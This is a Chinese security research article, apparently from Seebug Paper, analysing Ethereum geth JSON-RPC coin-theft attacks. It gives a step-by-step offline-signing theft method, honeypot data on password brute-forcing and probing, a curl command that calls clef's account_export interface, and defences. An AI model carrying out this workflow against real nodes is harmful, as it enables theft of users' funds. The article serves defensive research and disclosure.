    攻击者IP为:10.0.0.3,账户地址为:0xd4f0ad3896f78e133f7841c3a6de11be0427ed89geth 的启动命令为: geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,net,personal

    被攻击者IP为: 10.0.0.4,geth 版本为 1.8.11 (当前最新版本为 1.8.12),账户地址为 0x9e92e615a925fd77522c84b15ea0e8d2720d3234

    1.攻击者扫描到被攻击者开放了 8545 端口后,可以通过多个接口获取被攻击者信息

    账户里余额为0,是因为笔者没有及时同步区块。实际余额是 0.98 ether

    2.通过 eth_getTransactionCount 接口获取节点账户和盗币账户之间的转账次数,用于计算 nonce。等待用户通过 personal.unlockAccount() 解锁。在用户解锁账户的情况下,通过 eth_signTransaction 接口持续发送多笔签名转账请求。例如:签名的转账金额是 2 ether,发送的数据包如下:

    攻击者会在账户解锁期间按照 nonce 递增的顺序构造多笔转账的签名。

    3.至此,攻击者的攻击已经完成了一半。无论被攻击者是否关闭 RPC 接口,攻击者都已经拥有了转移走用户账户里 2 ether 的能力。攻击者只需监控用户账户中的余额是否超过 2 ether 即可。如图所示,在转入 1.2 ether 后,用户的账户余额已经达到 2 ether

    攻击者在自己的节点对已经签名的交易进行广播:

    2 ether 被成功盗走。

    相关交易记录可以在测试网络上查询到。

    攻击流程图示如下:

    3.4.2 攻击成功的关键点解析

    按照惯例,先提出问题:

    1. 为什么签名的交易可以在别的地方广播?
    2. Geth 官方提供的接口 eth_sign 是否可以签名交易?
    3.4.2.1 签名的有效性问题

    从原理上说,离线漏洞的攻击方式亦是以太坊离线签名的一种应用。

    为了保护私钥的安全性,以太坊拥有离线签名这一机制。用户可以在不联网的电脑上生成私钥,通过该私钥签名交易,将签名后的交易在联网的主机上广播出去,就可以成功实现交易并有效地保证私钥的安全性。

    在 1.3 节的图中,详细的说明了以太坊实现交易签名的步骤。在各参数正确的情况下,以太坊会将交易的相关参数:noncegasPricegastovalue 等值进行 RLP 编码,然后通过 sha3_256 算出其对应的 hash 值,然后通过私钥对 hash 值进行签名,最终得到 srv。所以交易的相关参数有:

    由于 hash 可以根据其它值算出来,所以对除 hash 外的所有值进行 RLP 编码,即可得到签名后的交易内容。

    在以太坊的其它节点接受到该交易后,会通过 RLP 解码得到对应的值并算出 hash 的值。由于椭圆曲线数字签名算法可以在知道 hashsrv的情况下得到公钥的值、公钥经过 sha3_256 加密,后四十位就是账户地址,所以只有在所有参数没有被篡改的情况下,才能还原出公钥,计算出账户地址。因此确认该交易是从这个地址签名的。

    根据上述的签名流程,也可以看出,在对应的字段中,缺少了签名时间这一字段,这也许会在区块链落地的过程中带来一定的阻碍。

    3.4.2.2 交易签名流程 与 eth_sign签名流程对比

    根据官网的描述,eth_sign 的实现是 sign(keccak256("\x19Ethereum Signed Message:\n" + len(message) + message)))

    这与 3.4.2.1 节中交易签名流程有着天壤之别,所以 eth_sign 接口并不能实现对交易的签名!

    注:我们的蜜罐未抓取到离线漏洞相关攻击流量,上述攻击细节是知道创宇404区块链安全团队研究后实现的攻击路径,可能和现实中黑客的攻击流程有一定的出入。

    3.5 蜜罐捕获攻击JSON‐RPC相关数据分析

    在偷渡漏洞曝光后,知道创宇404团队有针对性的开发并部署了相关蜜罐。 该部分数据统计截止 2018/07/14

    3.5.1 探测的数据包

    对蜜罐捕获的攻击流量进行统计,多个 JSON-RPC 接口被探测或利用:

    其中 eth_blockNumbereth_accountsnet_versionpersonal_listWallets 等接口具有很好的前期探测功能,net_version 可以判断是否是主链,personal_listWallets 则可以查看所有账户的解锁情况。

    personal_unlockAccountpersonal_sendTransactioneth_sendTransaction 等接口支持解锁账户或直接进行转账。

    可以说,相比于第一阶段的攻击,后偷渡时代 针对 JSON-RPC 的攻击正呈现多元化的特点。

    3.5.2 爆破账号密码

    蜜罐在 2018/05/24 第一次检测到通过 unlockAccount 接口爆破账户密码的行为。截止 2018/07/14 蜜罐一共捕获到 809 个密码在爆破中使用,我们将会在最后的附录部分给出详情。

    攻击者主要使用 personal_unlockAccount 接口进行爆破,爆破的 payload 主要是:

    在所有的爆破密码中有一个比较特殊:ppppGoogle。该密码在 personal_unlockAccountpersonal_sendTransaction 接口均有被多次爆破的痕迹。是否和《Microsoft Azure 以太坊节点自动化部署方案漏洞分析》案例一样,属于某厂商以太坊节点部署方案中的默认密码,仍有待考证。

    3.5.3 转账的地址

    蜜罐捕获到部分新增的盗币地址有:

    3.5.4 攻击来源IP

    3.6 其它的威胁点

    正如本文标题所说,区块链技术为金融行业带来了丰厚的机遇,但也招来了众多独行的大盗。本节将会简单介绍在研究偷渡漏洞过程中遇到的其它威胁点。

    3.6.1 parity_exportAccount 接口导出账户信息

    3.5.1 节中,蜜罐捕获到对 parity_exportAccount 接口的攻击。根据官方手册,攻击者需要输入账号地址和对应的密码,如果正确将会导出以json格式导出钱包。

    看过 1.21.3 节中的知识点、偷渡漏洞、后偷渡时代的利用方式的介绍,需要意识到:一旦攻击者攻击成功,私钥将会泄漏,攻击者将能完全控制该地址。

    3.6.2 clef 中的 account_export 接口

    该软件是 geth 中一个仍未正式发布的测试软件。其中存在一个导出账户的接口 account_export

    通过 curl -XPOST http://localhost:8550/ -d '{"id": 5,"jsonrpc": "2.0","method" : "account_export","params": ["0xc7412fc59930fd90099c917a50e5f11d0934b2f5"]}' --header "Content-Type: appli cation/json" 命令可以调用该接口导出相关账号信息。值得一提的是,在接口存在一定的安全机制,需要用户同意之后才会导出账号。

    虽然该接口目前仍算安全,但由于不需要密码即可导出keystore文件内容的特性,值得我们持续关注。

    3.7 后偷渡时代的防御方案

    相较于 3.1 节已有的防御方案,后偷渡时代更加关注账户和私钥安全。

    1. 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点,建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
    2. 建议用户不要使用弱口令作为账户密码,如果已经使用了弱口令,可以根据1.2节末尾的内容解出私钥内容,再次通过 geth account import 命令导入私钥并设置强密码。
    3. 如节点不需要签名转账等操作,建议节点上不要存在私钥文件。如果需要使用转账操作,务必使用 personal_sendTransaction 接口,而非 personal_unlockAccount 接口。

    0x04 总结

    在这个属于区块链的风口上,实际落地仍然还有很长的路需要走。后偷渡时代的离线漏洞中出现的 区块链记录的交易时间不一定是交易签名时间 这一问题就是落地过程中的阻碍之一。

    区块链也为攻击溯源带来了巨大的阻碍。一旦私钥泄漏,攻击者可以在任何地方发动转账。而由于区块链分布式存储的原因,仅仅通过区块链寻找攻击者的现实位置也变得难上加难。

    Go Ethereum JSON-RPC 盗币漏洞而言,涉及到多个方面的多个问题:以太坊底层签名的内容、geth 客户端 unlockAccount 实现的问题、分布式网络导致的重放问题,涉及的范围之广也是单个传统安全领域较难遇到的。这也为安全防御提出了更高的要求。只有从底层了解相关原理、对可能出现的攻击提前预防、经验加技术的沉淀才能在区块链的安全防御方面做到游刃有余。

    虚拟货币价值的攀升,赋予了由算法和数字堆砌的区块链巨大的金融价值,也会让 盗币者 竭尽所能从更多的方面实现目标。金钱难寐,大盗独行,也许会是这个漏洞最形象的描述。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    参考链接

    1. What is an Ethereum keystore file?
    2. Key_derivation_function
    3. 15.1. hashlib — Secure hashes and message digests
    4. 对比一下ecdsa与secp256k1-py从私钥生成公钥
    5. Ethereum JSON RPC
    6. how-to-create-raw-transactions-in-ethereum-part-1-1df91abdba7c
    7. 椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用
    8. Web3-Secret-Storage-Definition
    9. Management-APIs
    10. RPC: add personal_signTransaction: [tx, pw]
    11. Possible BUG - somebody took 50 ETH from my wallet immediately after successful transaction
    12. RLP 英文版
    13. RLP 中文版
    14. Private-network
    15. How do I get the raw private key from my Mist keystore file?
    16. 以太坊源码分析-交易
    17. Ethereum交易详解
    18. Life Cycle of an Ethereum Transaction
    19. 以太坊生态缺陷导致的一起亿级代币盗窃大案
    20. 揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币
    21. 慢雾社区小密圈关于以太坊情人节升级攻击的情报
    22. 以太坊离线钱包
    23. 以太坊实战之《如何正确处理nonce》

    附录

    1. 爆破 unlockAccount 接口使用的密码列表

    密码列表


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/656/

    作者:Nanako | Categories:安全研究技术分享 | Tags: